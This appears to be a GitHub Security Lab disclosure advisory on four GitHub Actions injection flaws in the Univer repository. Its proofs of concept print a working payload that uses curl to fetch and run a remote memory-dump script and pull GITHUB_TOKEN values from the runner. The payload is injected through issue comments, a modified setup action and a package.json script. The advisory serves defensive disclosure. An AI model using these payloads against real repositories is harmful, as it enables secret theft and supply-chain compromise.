Coordinated Disclosure Timeline

Summary

Univer uses multiple actions workflows vulnerable to actions injections.

Project

dream-num/univer

Tested Version

Latest

Details

Issue 1: Code injection in .github/workflows/update-snapshots.yml (GHSL-2024-209)

The update-snapshots.yml workflow runs on any of the comment created on an issue or a PR, and executes echo ${{ github.event.comment.body }} – a command with the content of a given comment, which could allow an attacker to execute arbitrary commands on an actions runner.

name: 🎭 Update Snapshots on: # It looks like you can't target PRs-only comments: # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment # So we must run this workflow every time a new comment is added to issues # and pull requests issue_comment: types: [created] jobs: echos: runs-on: ubuntu-latest steps: - name: Debug echo is conditions run: echo ${{ github.event.comment.body }}

Proof of Concept

  1. Comment on any issue or pull request with this payload, which will exfiltrate the GITHUB_TOKEN.
    ""; curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
    
  2. Go to the “Actions” tab and check the Update snapshot workflow for the above comment. You should see base64 encoded token in the logs.

Impact

The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.

GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write

Resources

  • https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
  • https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
  • https://securitylab.github.com/research/github-actions-preventing-pwn-requests/

Issue 2: Execution of untrusted code in update-snapshots.yml (GHSL-2024-210)

The update-snapshots.yml workflow runs on any of the comment created on an issue or a PR. The update-snapshots job executes if the comment is /update-snapshots and executes the local action ./.github/actions/setup-node/action.yml on line 65. An attacker could create a pull request with a changed ./.github/actions/setup-node/action.yml script and run arbitrary code on the runner.

name: 🎭 Update Snapshots on: # It looks like you can't target PRs-only comments: # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment # So we must run this workflow every time a new comment is added to issues # and pull requests issue_comment: types: [created] --- code cut for readability update_snapshots: # Run this job only on comments of pull requests that strictly match # the "/update-snapshots" string if: ${{ github.event.issue.pull_request && github.event.comment.body == '/update-snapshots' }} timeout-minutes: 10 runs-on: ubuntu-latest steps: # Checkout and do a deep fetch to load all commit IDs - uses: actions/checkout@v4 with: fetch-depth: 0 # Load all commits token: ${{ secrets.GITHUB_TOKEN }} --- code cut for readability - name: Setup Node.js uses: ./.github/actions/setup-node

Proof of Concept

  1. Create a pull request with the ./.github/actions/setup-node changed to:
name: Node Setup
description: Node.js setup for CI, including cache configuration runs: using: composite steps: - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64 shell: bash
  1. Comment on the pull request:
/update-snapshots
  1. Go to the “Actions” tab and check the Update snapshot workflow for the above comment. You should see base64 encoded token in the logs for the Node Setup step.

Impact

The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.

GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write

Resources

  • https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
  • https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
  • https://securitylab.github.com/research/github-actions-preventing-pwn-requests/

Issue 3: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml build-demo job (GHSL-2024-211)

The .github/workflows/preview-deploy.yml workflow runs after the build.yml completes (which runs on each push or pull request to the dev branch). the build-demo executes the local action ./.github/actions/setup-node/action.yml on line 110 and runs scripts from the package.json file on line 118.

An attacker could create a pull request with a changed .github/setup-node/action.yml file or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.

name: 📤 Preview Deploy on: workflow_run: workflows: - 🎬 Setup types: - completed permissions: contents: read pull-requests: write jobs:
--- code cut for readability build-demo: runs-on: ubuntu-latest needs: [setup] outputs: preview-url: ${{ steps.vercel-demo-dev.outputs.preview-url == '' && steps.vercel-demo.outputs.preview-url || steps.vercel-demo-dev.outputs.preview-url }} commit-message: ${{ steps.commit-message.outputs.value }} steps: - name: Checkout uses: actions/checkout@v4 with: repository: ${{ needs.setup.outputs.repo }} ref: ${{ needs.setup.outputs.ref }} - name: Setup Node.js uses: ./.github/actions/setup-node

Proof of Concept

  1. Create a pull request with the package.json changed to:
    @@ -32,7 +32,7 @@ "coverage": "turbo coverage -- --passWithNoTests", "build": "turbo build --no-cache --concurrency=50% --filter=!./common/* && pnpm --filter @univerjs/umd build:umd", "build:ci": "turbo build --concurrency=100% --filter=!./common/*",
    - "build:demo": "pnpm --filter univer-examples build:demo",
    + "build:demo": "curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64",
     "build:e2e": "pnpm --filter univer-examples build:e2e", "serve:e2e": "serve ./examples/local", "test:e2e": "playwright test",
    
  2. Go to the “Actions” tab and check the Preview Deploy workflow for the PR. You should see a base64 encoded token in the build-demo job Build demo step.

Impact

The job is run with access to a number of secrets:

  • GITHUB_TOKEN with permissions:
    GITHUB_TOKEN Permissions
    Contents: read
    Metadata: read
    PullRequests: write
    Secret source: Actions
    
  • VERCEL_TOKEN
  • ORG_ID
  • PROJECT_ID
  • PROJECT_ID_STORYBOOK
    which an attacker would be able to exfiltrate.

Issue 4: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml build-storybook job (GHSL-2024-212)

The .github/workflows/preview-deploy.yml workflow runs after the build.yml completes (which runs on each push or pull request to the dev branch). The build-storybook job executes the local action ./.github/actions/setup-node/action.yml on line 159 and runs scripts from the package.json file on line 163.

An attacker could create a pull request with a changed .github/setup-node/action.yml or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.

name: 📤 Preview Deploy on: workflow_run: workflows: - 🎬 Setup types: - completed permissions: contents: read pull-requests: write jobs:
--- code cut for readability build-storybook: runs-on: ubuntu-latest needs: [setup] outputs: preview-url: ${{ steps.vercel-storybook-dev.outputs.preview-url == '' && steps.vercel-storybook.outputs.preview-url || steps.vercel-storybook-dev.outputs.preview-url }} steps: - name: Checkout uses: actions/checkout@v4 with: repository: ${{ needs.setup.outputs.repo }} ref: ${{ needs.setup.outputs.ref }} - name: Setup Node.js uses: ./.github/actions/setup-node # ================= Deploy Storybook ================= - name: 📦 Build storybook run: pnpm storybook:build 

Proof of Concept

  1. Create a pull request with the ./.github/actions/setup-node changed to:
  2. Go to the “Actions” tab and check the Preview Deploy workflow for the above PR. You should see base64 encoded token in the logs for the build-demo step.
name: Node Setup
description: Node.js setup for CI, including cache configuration runs: using: composite steps: - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64 shell: bash
  1. Go to the “Actions” tab and check the Preview Deploy workflow for the PR. You should see a base64 encoded token in the build-storybook job Setup Node.js step.

Impact

The job is run with access to a number of secrets:

  • GITHUB_TOKEN with permissions:
    GITHUB_TOKEN Permissions
    Contents: read
    Metadata: read
    PullRequests: write
    Secret source: Actions
    
  • VERCEL_TOKEN
  • ORG_ID
  • PROJECT_ID
  • PROJECT_ID_STORYBOOK
    which an attacker would be able to exfiltrate.

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-209, GHSL-2024-210, GHSL-2024-211, or GHSL-2024-212 in any communication regarding these issues.

Post
Filter
Apply Filters